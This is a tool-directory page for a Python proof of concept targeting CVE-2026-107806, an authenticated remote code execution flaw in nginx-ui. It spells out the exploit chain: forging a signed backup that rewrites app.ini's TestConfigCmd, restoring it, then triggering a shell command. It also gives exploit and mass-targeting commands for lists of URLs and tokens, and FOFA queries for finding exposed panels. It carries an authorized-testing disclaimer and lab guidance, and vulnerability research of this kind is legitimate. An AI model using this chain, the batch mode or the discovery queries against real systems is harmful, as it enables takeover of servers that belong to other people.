Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-107806 — Python PoC for CVE-2026-107806: exploits nginx-ui backup restore to overwrite app.ini and achieve authenticated RCE via TestConfigCmd. Supports check, exploit, and batch modes. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-107806
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubmurrez/cve-2026-107806

CVE-2026-107806

Python PoC for CVE-2026-107806: exploits nginx-ui backup restore to overwrite app.ini and achieve authenticated RCE via TestConfigCmd. Supports check, exploit, and batch modes.

View Repository
741 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-107806 — nginx-ui authenticated RCE (backup restore)

Python 3 PoC for CVE-2026-107806 — 0xJacky/nginx-ui — CWE-94 — forged portable backup overwrites app.ini → TestConfigCmd → POST /api/nginx/test.

FieldValue
CVECVE-2026-107806
Affected>= 2.3.8, < 2.5.0
Fixed2.5.0 (commit a467ed6)
CVSS 4.09.4 Critical (PR:H — admin JWT required)
GHSAGHSA-p393-cf76-4jmr
Verify markerPOCBIT-107806-OK

Not the same as CVE-2026-42238 (unauthenticated install-window restore); fixed in 2.3.8 auth on restore, but post-auth trust on attacker-supplied AES key remained until 2.5.0.


Chain

  1. GET /api/backup — download encrypted backup; read X-Backup-Security (key_b64:iv_b64).
  2. Decrypt inner nginx-ui.zip, patch app.ini → [nginx] TestConfigCmd.
  3. Re-encrypt, update manifest.json hashes, re-sign manifest.sig (nginx-ui-backup-signing-v1: + AES key).
  4. POST /api/restore — restore_nginx_ui=true, security_token, malicious zip.
  5. POST /api/nginx/test — runs TestConfigCmd via /bin/sh -c.

Repository layout (GitHub)

FilePurpose
poc.pycheck / exploit / batch
README.mdThis document
requirements.txtPython deps
targets.example.txtSample list format (copy to targets.txt locally)

Do not commit real scan lists, JWTs, or result JSONL (see .gitignore).

Requirements

pip install -r requirements.txt

Usage

# Fingerprint (no token → install lock only)
python poc.py -u http://127.0.0.1:8080 --mode check

# Version + vuln range (needs admin JWT)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode check --json

# Full exploit (default cmd: printf marker + id)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --insecure

python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --cmd "id 2>&1"

# 2FA admin: add secure session from login response
python poc.py -u http://127.0.0.1:8080 --token '...' --secure-session '...' --mode exploit

# Mass (url|token per line)
python poc.py --list targets.txt --mode exploit -j 5 --insecure

List format

https://panel.example
https://panel.example|JWT_HERE
https://panel.example|JWT|SECURE_SESSION_ID

Outputs: cve_2026_107806_exploit.jsonl, hits.txt, exploited.txt.

Login uses encrypted params on /api/login — obtain JWT from browser DevTools (Application → token / Authorization) or your own session.


Lab (disposable)

Official validation: nginx-ui 2.3.11 in Docker uozi/nginx-ui (pin an < 2.5.0 image tag in lab). Run PoC only on instances you own.


FOFA / discovery

nginx-ui admin panel (then confirm version with authenticated check):

title="Nginx UI" || body="nginx-ui" || body="/api/install"
header="Server" && body="Nginx UI"
port="9000" || port="8080"

FOFA does not prove vulnerable version — use --mode check with a valid admin token.


Legal

Authorized testing only.


GitHub repository description

CVE-2026-107806 — nginx-ui 2.3.8–2.4.x auth RCE via forged backup restore (TestConfigCmd). PoCbit PoC: GET /api/backup, tamper app.ini, POST /api/restore, POST /api/nginx/test. check/exploit, batch url|JWT. Fixed 2.5.0. https://pocbit.org/pocs/cve-2026-107806
Download Tool